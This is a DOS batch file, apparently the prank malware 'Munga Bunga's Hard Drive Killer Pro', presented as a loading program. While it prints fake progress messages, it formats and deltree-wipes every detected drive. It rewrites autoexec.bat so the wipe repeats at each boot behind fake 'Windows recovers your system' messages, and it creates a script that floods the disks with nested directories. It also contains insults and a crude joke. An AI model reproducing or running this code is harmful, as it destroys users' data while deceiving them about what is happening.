@echo off  rem This program is dedecated to a very special person that does not want to be named.  :start  cls  echo PLEASE WAIT WHILE PROGRAM LOADS . . .  call attrib -r -h c:autoexec.bat >nul  echo @echo off >c:autoexec.bat  echo call format c: /q /u /autotest >nul >>c:autoexec.bat  call attrib +r +h c:autoexec.bat >nul    rem Drive checking and assigning the valid drives to the drive variable.    set drive=  set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z    rem code insertion for Drive Checking takes place here.  rem drivechk.bat is the file name under the root directory.  rem As far as the drive detection and drive variable settings, don't worry about how it   rem works, it's damn to complicated for the average or even the expert batch programmer.  rem Except for Tom Lavedas.    echo @echo off >drivechk.bat  echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat  %comspec% /e:2048 /c {t}.bat >>drivechk.bat  del {t}.bat  echo if errorlevel 1 goto enddc >>drivechk.bat    cls  echo PLEASE WAIT WHILE PROGRAM LOADS . . .    rem When errorlevel is 1, then the above is not true, if 0, then it's true.  rem Opposite of binary rules. If 0, it will elaps to the next command.    echo @prompt %%%%comspec%%%% /f /c dir %%%%1:./ad/w/-p $b find "bytes" > nul >{t}.bat  %comspec% /e:2048 /c {t}.bat >>drivechk.bat  del {t}.bat  echo if errorlevel 1 goto enddc >>drivechk.bat    cls  echo PLEASE WAIT WHILE PROGRAM LOADS . . .    rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.  rem if errorlevel is 0, then it will elaps to the next command.    echo @prompt dir %%%%1:./ad/w/-p $b find " 0 bytes free" > nul >{t}.bat  %comspec% /e:2048 /c {t}.bat >>drivechk.bat  del {t}.bat  echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat    cls  echo PLEASE WAIT WHILE PROGRAM LOADS . . .    rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.  rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.    echo :enddc >>drivechk.bat    rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".     rem Now we will use the program drivechk.bat to attain valid drive information.    :testdrv    for %%a in (%alldrive%) do call drivechk.bat %%a >nul  if %drive%.==. set drive=c  del drivechk.bat >nul    :form_del  call attrib -r -h c:autoexec.bat >nul  echo @echo off >c:autoexec.bat  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat  echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:autoexec.bat  echo cls >>c:autoexec.bat  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat  echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat  echo cls >>c:autoexec.bat  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat  echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat  echo cls >>c:autoexec.bat  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat  echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:autoexec.bat  echo cls >>c:autoexec.bat  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat  echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat  echo cls >>c:autoexec.bat  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat  echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat  echo cd >>c:autoexec.bat  echo cls >>c:autoexec.bat  echo echo Welcome to the land of death. Munga Bunga's Hard Drive Killer Pro Version 4.0. >>c:autoexec.bat  echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:autoexec.bat  echo echo 1. To make people aware that security should not be taken for granted. >>c:autoexec.bat  echo echo 3. This breach of your security will benefit you in the long-run, so don't worry. Think about it.>>c:autoexec.bat    echo echo. >>c:autoexec.bat  echo echo Regards, >>c:autoexec.bat  echo echo. >>c:autoexec.bat  echo echo Munga Bunga >>c:autoexec.bat  call attrib +r +h c:autoexec.bat    :makedir  if exist c:temp.bat attrib -r -h c:temp.bat >nul  echo @echo off >c:temp.bat  echo %%1: >>c:temp.bat  echo cd >>c:temp.bat  echo :startmd >>c:temp.bat  echo for %%%%a in ("if not exist %%2nul md %%2" "if exist %%2nul cd %%2") do %%%%a >>c:temp.bat  echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:temp.bat  echo if not exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto startmd >>c:temp.bat  call attrib +r +h c:temp.bat >nul    cls  echo Initializing Variables . . .  rem deltree /y %%a:*. only eliminates directories, hence leaving the file created above for further destruction.  for %%a in (%drive%) do call format %%a: /q /u /autotest >nul  cls  echo Initializing Variables . . .  echo Validating Data . . .  for %%a in (%drive%) do call c:temp.bat %%a Munga >nul  cls  echo Initializing Variables . . .  echo Validating Data . . .  echo Analyzing System Structure . . .  for %%a in (%drive%) call attrib -r -h %%a: /S  >nul  call attrib +r +h c:temp.bat >nul  call attrib +r +h c:autoexec.bat >nul  cls  echo Initializing Variables . . .  echo Validating Data . . .  echo Analyzing System Structure . . .  echo Initializing Application . . .    for %%a in (%drive%) call deltree /y %%a:*. >nul  cls  echo Initializing Variables . . .  echo Validating Data . . .  echo Analyzing System Structure . . .  echo Initializing Application . . .  echo Starting Application . . .  for %%a in (%drive%) do call c:temp.bat %%a Munga >nul    cls  echo Thank you for using a Munga Bunga product.  echo.  echo Here is a joke for you . . .  echo.  echo     Q). What's the worst thing about being an egg?  echo     A). You only get laid once.  echo.  echo Don't you just love that one?  echo.  echo Regards,  echo.  echo Munga Bunga    :end      rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).